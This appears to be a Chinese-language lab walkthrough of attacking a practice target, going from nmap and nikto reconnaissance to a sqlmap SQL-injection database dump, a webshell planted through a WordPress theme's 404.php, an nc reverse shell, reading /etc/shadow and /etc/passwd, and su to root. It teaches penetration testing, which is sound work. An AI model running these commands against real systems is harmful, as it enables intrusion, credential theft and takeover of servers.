1、SQL注入漏洞介绍
SQL注入攻击指的是通过特殊的输入作为参数拆入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句中进而执行攻击者所要的操作,起主要原因是程序没有细致地过滤用户输入的数据,致使非法数据入侵系统。
任何一个用户可以输入的位置都可能是注入点。比如url中,以及http报文中,POST传递的参数;
实验环境
攻击机:10.0.2.11
靶场机器:10.0.2.10
2、信息探测
扫描主机开放的全部端口
–nmap -T4 -p- 靶场IP地址
快速扫描主机全部信息
–nmap -T4 -A -V 靶场IP地址
我们可以发现80端口和8080端口开放的http服务
探测敏感信息
–nikto -host http://靶场IP地址:端口
–dirb http://靶场IP地址:端口
分析扫描的结果80端口
打开我们发现了一个登录界面
3、漏洞扫描
漏洞扫描器Owasp-zap
先对默认的80端口进行探测
未发现高危漏洞
接着扫描8080端口
也未发现高危漏洞
对登录界面我们想到该页面是否具有对应的SQL注入,可以使我们注入到系统库当中,获取对应的数据
4、漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但扫描结果也不一定正确。
使用sqlmap利用SQL注入漏洞
使用Burpsuite来抓取数据包
在浏览器设置代理为8081端口
复制返回的数据包
粘贴数据包进行注入
–sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch
request.raw抓取的数据包头,level 5最高水平,risk 3最高风险,用Mysql的数据库dbms,batch为不再询问,自动补齐。
–sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” --tables 查看对应数据库中的数据表 --batch
–sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” -T “表名” --columns 查看对应字段 --batch
–sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” -T “表名” -C “列名” --dump --batch
打开http://192.168.1.109:8080/wordpress/wp-login.php,进入登陆页面
5、上传webshell获得控制权
wordpress后台寻找上传点
–主题的404.php可以上传webshell
–webshell 获取/usl/share/webshell.php/
修改对应的webshell,复制保存
上传webshell
执行shell,获取反弹shell。
http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php
http://192.168.1.109:8080/wordpress/wp-content/themes/twentythirteen/404.php
启动监听
–nc -nlvp port
启动终端
–python -c “import pty;pty.spawn(’/bin/bash’)”
6、root权限
–使用 cat etc/shadow查看敏感文件
–使用 cat etc/passwd查看敏感文件
–使用 su - 提升root权限
在提升权限的过程中发现需要密码我们尝试之前发现的用户名密码
最后成功登入